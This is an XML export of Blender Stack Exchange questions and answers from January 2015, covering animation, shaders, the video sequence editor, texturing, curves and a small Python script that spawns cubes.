  <row Id="23042" PostTypeId="1" CreationDate="2015-01-11T18:40:51.887" Score="1" ViewCount="120" Body="&lt;p&gt;I want to make an animation where a bone rotates from any position to a specific position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already made set of animations and each one starts form the idle position, &#xA;but I want to make the current animation start from the end of previous one. How can I do this? &lt;/p&gt;&#xA;" OwnerUserId="10923" LastEditorUserId="3078" LastEditDate="2015-01-11T20:48:28.790" LastActivityDate="2015-01-11T20:48:28.790" Title="How to animate a bone from it's current position - no matter which one - to a specific one?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23043" PostTypeId="1" CreationDate="2015-01-11T19:07:00.543" Score="2" ViewCount="563" Body="&lt;p&gt;I can't get the right shader material for text like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WzDSm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used a texture uvmapped on a plane, with alpha channel, and assigned two shaders one Glossy and one Glass with IOR of 1.406 (plastic) without succes.&lt;/p&gt;&#xA;" OwnerUserId="10924" LastEditorDisplayName="user1853" LastEditDate="2015-12-15T00:24:33.317" LastActivityDate="2015-12-15T00:24:33.317" Title="Glossy Text shader material on soft toch paper" Tags="&lt;shaders&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23044" PostTypeId="2" ParentId="23042" CreationDate="2015-01-11T19:46:38.730" Score="1" Body="&lt;p&gt;If you want to have a better control over the animation you should use a &lt;strong&gt;&lt;em&gt;Dope Sheet Editor&lt;/em&gt;&lt;/strong&gt;.&#xA;In example below I rotate the &lt;em&gt;arm bone&lt;/em&gt; and &lt;em&gt;hand bone&lt;/em&gt;. The motion starts from 'idle' position and ends in 'bent' position. The yelow dots in &lt;em&gt;Dope Sheet Editor&lt;/em&gt; window represent the keyframes. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/kzxgn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want for example to reverse this motion you go to the last keyframe, hover the cursor over the &lt;em&gt;Dope Sheet Editor&lt;/em&gt; window, press &lt;kbd&gt;S&lt;/kbd&gt; and input the value -1. Now the motion starts from 'bent' pose. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/zvlQe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last thing you may do is to place the animation at the begining of the timeline. You can make it by pressing &lt;kbd&gt;G&lt;/kbd&gt; button, while hovering the cursor over the &lt;em&gt;Dope Sheet Editor&lt;/em&gt; window.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3GXCG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-01-11T19:53:17.610" LastActivityDate="2015-01-11T19:53:17.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23045" PostTypeId="1" AcceptedAnswerId="24583" CreationDate="2015-01-11T19:53:16.697" Score="2" ViewCount="319" Body="&lt;p&gt;I want to create a video from a png image sequence.&#xA;I have imported all images to Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QWqTl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can´t see a video preview as shown in the above image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I see a preview of the video's output? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This are the properties for the first image file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tupub.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried advancing frame to check unsuccessfully. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added 1 frame to check without success. Same with Alpha over/Under.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All png have alpha channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B00QF.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Kd1cB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7783" LastEditorUserId="7783" LastEditDate="2015-01-12T08:47:29.130" LastActivityDate="2015-02-11T11:00:52.210" Title="How can I see a preview of the sequence of PNGs in the VSE?" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23047" PostTypeId="1" AcceptedAnswerId="23073" CreationDate="2015-01-11T22:07:33.080" Score="1" ViewCount="563" Body="&lt;p&gt;Is it possible to export both an animated object and camera from Maya to Blender together? .mmd can export the object and collada can do the camera. Is there anything that can export both?&lt;/p&gt;&#xA;" OwnerUserId="7524" LastActivityDate="2015-01-12T14:17:15.480" Title="Is it possible to export both an animated object and camera from Maya to Blender together?" Tags="&lt;animation&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23048" PostTypeId="2" ParentId="23037" CreationDate="2015-01-11T22:26:16.840" Score="10" Body="&lt;p&gt;It sounds like you resized the top portion of the tool shelf, and collapsed or shut the operator properties part.&lt;br&gt;&#xA;If that is the case you should be able to click on a little plus button on the bottom of the tool shelf and get it back. Then you can drag the separator to resize the operator properties.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8hXdx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-11T22:26:16.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23050" PostTypeId="1" AcceptedAnswerId="23127" CreationDate="2015-01-12T00:44:08.977" Score="2" ViewCount="242" Body="&lt;p&gt;Basically, I am trying to find the most efficient way to do simple actions, such as moving objects. I started thinking, what is the game engine actually doing with the logic bricks? is it handling them any different then it would handle a python script to do the same thing? And, if it is handling them any differently, which is faster and more efficient for the game engine to compute?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WW9gl.png&quot; alt=&quot;Logic for moving cube&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2015-01-13T10:00:31.330" Title="Which is more efficient for performing simple actions, Python, or Logic bricks?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23051" PostTypeId="1" AcceptedAnswerId="23052" CreationDate="2015-01-12T01:29:31.637" Score="4" ViewCount="175" Body="&lt;p&gt;When I render my model I get this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nx5QU.png&quot; alt=&quot;Rendered Pic&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want it to look like a rendered version of this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kcu7y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10928" LastActivityDate="2015-01-12T01:32:59.893" Title="Wireframe only when rendered" Tags="&lt;rendering&gt;&lt;wireframe&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23052" PostTypeId="2" ParentId="23051" CreationDate="2015-01-12T01:32:59.893" Score="5" Body="&lt;p&gt;It looks like you may have selected &lt;em&gt;Wire&lt;/em&gt; as the material type:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UYIhF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try selecting &lt;em&gt;Surface&lt;/em&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-12T01:32:59.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23053" PostTypeId="1" CreationDate="2015-01-12T01:36:39.047" Score="1" ViewCount="17136" Body="&lt;p&gt;I'm trying to install this add-on: blender_mmd_tools.&lt;br&gt;&#xA;I go to File/User Preferences/addons, then I click &quot;Install add-on&quot;, but when I look to enable the add-on, it doesn't appear on the add-on list. I've already gone into scripts/addons folder, and I see the add-on in the folder, but I can't find it on the list in user preferences to enable it. How do I enable the add-on if I can't find it in the list?&lt;/p&gt;&#xA;" OwnerUserId="10929" LastEditorUserId="2217" LastEditDate="2015-01-12T03:01:32.597" LastActivityDate="2016-02-16T05:26:31.510" Title="I'm trying to install this add-on: blender_mmd_tools" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23054" PostTypeId="1" AcceptedAnswerId="23055" CreationDate="2015-01-12T01:40:01.140" Score="6" ViewCount="1223" Body="&lt;p&gt;How do I create a volume emitter shader that is more intense towards the outside of the object? I would basically like to create tubes that look like the blue (not purple) tubes in this image: &#xA;&lt;a href=&quot;https://jila.colorado.edu/sites/default/files/assets/images/articles/Margaret_Patrik_Circularly_Polarizd_HHG_web2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zslRh.jpg&quot; alt=&quot;reference image&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;https://jila.colorado.edu/sites/default/files/assets/images/articles/Margaret_Patrik_Circularly_Polarizd_HHG_web2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;colorado.edu&lt;/a&gt;)&lt;/sub&gt;&lt;br&gt;&#xA;(Figure is by Steve Burrows and the Kapteyn–Murnane Group, JILA. &lt;a href=&quot;https://jila.colorado.edu/news-highlights/polarized-express&quot; rel=&quot;nofollow noreferrer&quot;&gt;From this article&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I cannot figure out how to get the &quot;depth&quot; coordinate of the image in order to feed this to the intensity of the emitter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to do this in cycles?&lt;/p&gt;&#xA;" OwnerUserId="3418" LastEditorUserId="32220" LastEditDate="2019-03-18T23:36:42.987" LastActivityDate="2019-03-18T23:36:42.987" Title="Volume emitter that is more intense towards the outside of the object" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23055" PostTypeId="2" ParentId="23054" CreationDate="2015-01-12T02:16:45.097" Score="9" Body="&lt;p&gt;You might be able to do something with the &lt;em&gt;Ray length&lt;/em&gt; output of the &lt;em&gt;lightpath&lt;/em&gt; node, however based on your example image I think you might be looking for the &lt;em&gt;layer weight&lt;/em&gt; (or &lt;em&gt;fresnel&lt;/em&gt;) node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V01Tp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N0OJj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above node setup mixes an emission shader with a transparent shader based on the angle of the surface to the camera. In this case sharper angles emit light, while more direct angles are transparent.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-12T02:16:45.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23056" PostTypeId="1" AcceptedAnswerId="23057" CreationDate="2015-01-12T02:59:12.917" Score="2" ViewCount="1044" Body="&lt;p&gt;If I use the knife tool, and I use it near edges, the mouse will snap to them and it wont allow to me make lines close to it unless I zoom in very close.&lt;br&gt;&#xA;How can I disable snapping for the knife tool?          &lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="2217" LastEditDate="2015-06-01T23:27:58.087" LastActivityDate="2015-06-01T23:27:58.087" Title="Disable snapping for knife tool cut?" Tags="&lt;knife-tool&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23057" PostTypeId="2" ParentId="23056" CreationDate="2015-01-12T03:05:44.853" Score="4" Body="&lt;p&gt;You can hold &lt;kbd&gt;Shift&lt;/kbd&gt; while using the knife tool to disable snapping. Look in the 3D view header and you will see the knife tool options and keys to press. The image below is a screen shot of the 3D view header during the use of the knife tool.&lt;br&gt;&#xA;&lt;sub&gt;click for full size&lt;/sub&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/W3fET.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W3fET.png&quot; alt=&quot;knife tool options&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-12T03:05:44.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23058" PostTypeId="1" AcceptedAnswerId="23061" CreationDate="2015-01-12T03:15:28.317" Score="2" ViewCount="18837" Body="&lt;p&gt;I'm very new to blender. I have a fbx file and some accompanying png texture files. The file has a rigged animated armature. It looks like the textures are linked properly and have a bunch of configuration however they are not being applied to the model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/To7M0.png&quot; alt=&quot;model and texture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10930" LastActivityDate="2015-01-12T04:20:06.330" Title="FBX import not rendering textures, though look linked properly" Tags="&lt;texturing&gt;&lt;armature&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23059" PostTypeId="1" CreationDate="2015-01-12T03:32:31.927" Score="26" ViewCount="48730" Body="&lt;p&gt;Basically, what I'm saying is, I've been watching a Blender YouTube tutorial (or something like that), I saw that a lot of users had something at the bottom-left of their main 3D view that created a text output of their mouse and keyboard actions. Does anyone know how to enable that feature?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10911" LastEditorUserId="6385" LastEditDate="2015-01-12T15:12:21.573" LastActivityDate="2020-07-01T23:50:26.403" Title="How do I display what keys I use?" Tags="&lt;interface&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23060" PostTypeId="2" ParentId="23059" CreationDate="2015-01-12T03:36:07.053" Score="24" Body="&lt;p&gt;This is an addon called &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Screencast_Key_Status_Tool&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Screencast keys&lt;/em&gt;&lt;/a&gt;. It is &lt;a href=&quot;https://blender.stackexchange.com/q/19198/599&quot;&gt;no longer distributed with the official releases due to some limitations&lt;/a&gt;, but you can install it yourself if you want:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://svn.blender.org/svnroot/bf-extensions/trunk/py/scripts/addons/space_view3d_screencast_keys.py&quot; rel=&quot;noreferrer&quot;&gt;download it&lt;/a&gt; and then click &lt;em&gt;install from file&lt;/em&gt; in &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User preferences &gt; Addons&lt;/em&gt;, then navigate to where you downloaded the python script.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable it, then turn it on in &lt;em&gt;3D view &gt; Properties region (&lt;/em&gt;&lt;kbd&gt;N&lt;/kbd&gt;&lt;em&gt;) &gt; Screen cast keys&lt;/em&gt;:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kG6aB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-01-12T03:42:52.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23061" PostTypeId="2" ParentId="23058" CreationDate="2015-01-12T04:20:06.330" Score="4" Body="&lt;p&gt;3 Fixes : The first would be to enable textured solid , By opening the right tab ( use N )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gnss7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second is enable the texture mode , above the solid view. [! You have to have lights in the scene so everything is visible )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tldEe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;third would be using the UV / Image editor &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ovlsA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ovlsA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also , in the texture tab ( next to the materials tab ), make sure you have set UV co - ordinant.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2015-01-12T04:20:06.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23064" PostTypeId="2" ParentId="23045" CreationDate="2015-01-12T07:02:00.770" Score="2" Body="&lt;p&gt;Could be that you are looking at the wrong frame (frame zero instead of frame 1). Try advancing a frame to check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check that the png is being interpreted by Blender correctly. Import just 1 frame and check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally you could try using Alpha Over or Over drop in the strip's blend type. It is at the top of the strip properties bar on the right of the VSE.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-01-12T07:02:00.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23065" PostTypeId="2" ParentId="23030" CreationDate="2015-01-12T07:12:03.707" Score="3" Body="&lt;p&gt;Blender may be buffering the source video differently at render? Try transcoding the source files to another codec first, as it looks like a screen capture and they are notorious for having strange FPS (frames per second) values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm afraid that Blender's video function is handled by a limited version of ffmpeg that may not recognize your file correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise check your output settings, there might be something odd about those codec settings too?&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-01-12T07:12:03.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23067" PostTypeId="2" ParentId="19389" CreationDate="2015-01-12T07:29:31.157" Score="1" Body="&lt;p&gt;You need to save all images (also created textures) to an image file &lt;kbd&gt;F3&lt;/kbd&gt; (&lt;em&gt;Menu: Image / Save As Image&lt;/em&gt;) otherwise all changes are lost. Blender indicates an unsaved texture in the &lt;em&gt;UV-Editor&lt;/em&gt; with an asterisk at the &lt;em&gt;Image Menu Item&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/54ugd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Image&quot; rel=&quot;nofollow noreferrer&quot;&gt;pack the image&lt;/a&gt; into the .blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s1cN8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-12T07:29:31.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23069" PostTypeId="1" CreationDate="2015-01-12T10:49:05.183" Score="3" ViewCount="314" Body="&lt;p&gt;I have a script that randomly spawns objects in blender render.&#xA;Now is there an easy way to transfer that code so that it works as a &quot;game&quot; in blender game engine? Or do I need to start from scratch anyway?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(In the end I want to have a &quot;game that plays itself and has a different outcome each time it runs through&quot; but looks like its just an animation. So I figure I need to have the script working in blender game engine.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code in case it may help:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# this is for the random position, imports the random() function from random library&#xA;from random import random&#xA;&#xA;# this holds how many cubes were created and what the cap is&#xA;spawned_cubes = 0&#xA;max_cubes = 20&#xA;&#xA;def spawn_object(scene):&#xA;    &quot;&quot;&quot;This function will be run everytime before frame changes because it is added in the callback list&quot;&quot;&quot;&#xA;&#xA;    global spawned_cubes&#xA;    global max_cubes&#xA;&#xA;    # read the current frame number&#xA;    # if it is 10 and number of spawned cubes is less than max_cubes place a cube&#xA;    # if the frame number is not 10 just end and do nothing&#xA;    if scene.frame_current == 100 and spawned_cubes &amp;lt; max_cubes:&#xA;        loc = (20-40*random(), 18-0*random(), 20-20*random())&#xA;        bpy.ops.mesh.primitive_cube_add(enter_editmode=False, location=loc)&#xA;        spawned_cubes += 1&#xA;    return&#xA;&#xA;# add spawn_object function if there isnt one in bpy.app.handlers.frame_change_pre callback list&#xA;# the function needs to be added there only once&#xA;# everything thats in that list will be executed before any frame change&#xA;if spawn_object not in bpy.app.handlers.frame_change_pre:&#xA;    bpy.app.handlers.frame_change_pre.append(spawn_object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Sputi&lt;/p&gt;&#xA;" OwnerUserId="9529" LastActivityDate="2015-01-13T09:13:59.963" Title="Transfer Python code from Blender Render to Blender Game Engine" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23070" PostTypeId="1" CreationDate="2015-01-12T13:26:01.503" Score="0" ViewCount="953" Body="&lt;p&gt;I created a particle system based on &lt;em&gt;quick effects &gt; quick explode&lt;/em&gt; and modified some parameters (like poly count and gravity) on the particle system tab.  And as you can see in the image, I made a word that explodes from its center. The only problem I have now is the direction of the particles. The object currently breaks apart from left to right, is there any way I can make the object break apart from right to left (as in the diagram below the screenshot)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fE0rj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Video: &lt;a href=&quot;https://www.dropbox.com/s/as751siajpqetsc/clip0003.avi?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/as751siajpqetsc/clip0003.avi?dl=0&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="9718" LastEditDate="2015-01-13T12:50:04.987" LastActivityDate="2015-01-13T12:50:04.987" Title="How to make my particles go backwards?" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="0" CommentCount="11" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23071" PostTypeId="2" ParentId="18478" CreationDate="2015-01-12T14:04:58.340" Score="5" Body="&lt;p&gt;I've been doing this a lot recently at my work. I find the following solution works best:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a cube and align it to the camera exactly, one face should point exactly where the camera faces and you should note which face this is&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent the camera to the cube, so that the cube follows the motion of the camera, then bake the animation of the cube and clear the parent, you should be left with a cube that follows the track of your camera &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Note the framerate of your blender file, by default it is 24fps&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Export the cube as a DAE file &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open max and ensure your project framerate is the same as in blender, if it isn't the animation will look weird.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Import the DAE file into max and align a max camera to the cube in the same way the cube was aligned to the camera in blender.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Link the camera to the cube then bake the animation of the camera and clear the parent.&#xA;script for this found here: &lt;a href=&quot;http://www.scriptspot.com/3ds-max/scripts/bake-animation&quot; rel=&quot;nofollow&quot;&gt;http://www.scriptspot.com/3ds-max/scripts/bake-animation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check that your max camera has the same FoV / Focal length as your original blender camera.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="10938" LastEditorUserId="2217" LastEditDate="2015-01-12T14:36:17.540" LastActivityDate="2015-01-12T14:36:17.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23072" PostTypeId="1" AcceptedAnswerId="23075" CreationDate="2015-01-12T14:07:59.927" Score="3" ViewCount="716" Body="&lt;p&gt;I need to create a curve based on this reference (only a 3D tube/line), but it seems hard to make it exact. Is there a way I can make it exactly look like the one in the image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UG7kh.png&quot; alt=&quot;Enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="1224" LastEditDate="2015-01-12T21:16:39.693" LastActivityDate="2015-01-12T21:16:39.693" Title="How can I create a complex curve?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23073" PostTypeId="2" ParentId="23047" CreationDate="2015-01-12T14:17:15.480" Score="1" Body="&lt;p&gt;Nope, the fbx importer isn't up to scratch yet. Your best bet is to keep everything in collada and bake your camera animation to a cube within maya first. Pain in the ass, but it always seems to be a struggle to get things between softwares, not just blender.&lt;/p&gt;&#xA;" OwnerUserId="10938" LastActivityDate="2015-01-12T14:17:15.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23075" PostTypeId="2" ParentId="23072" CreationDate="2015-01-12T15:16:53.647" Score="6" Body="&lt;p&gt;Add a Path (&lt;em&gt;Add&lt;/em&gt;--&gt;&lt;em&gt;Curve&lt;/em&gt;--&gt;&lt;em&gt;Path&lt;/em&gt;). Enter &lt;em&gt;Edit Mode&lt;/em&gt;, select the curve with &lt;kbd&gt;A&lt;/kbd&gt; and subdivide it as many times as you like (&lt;kbd&gt;W&lt;/kbd&gt;).&#xA;Now select every third point of the curve.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/blI4e.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grab the points up.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TuHJT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may notice, that the curve is not even in some places, so correct it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Uwmrq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snap the cursor to the end of the curve, enable &lt;strong&gt;&lt;em&gt;Proportional Editing&lt;/em&gt;&lt;/strong&gt; and set the &lt;em&gt;Falloff Type&lt;/em&gt; to &lt;strong&gt;&lt;em&gt;Sphere&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/P9oV0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale it horizontaly, setting the &lt;em&gt;proportional size&lt;/em&gt; to a proper value (use a mouse scroll).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/m1To3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the final result.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9Wcqj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-01-12T15:16:53.647" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
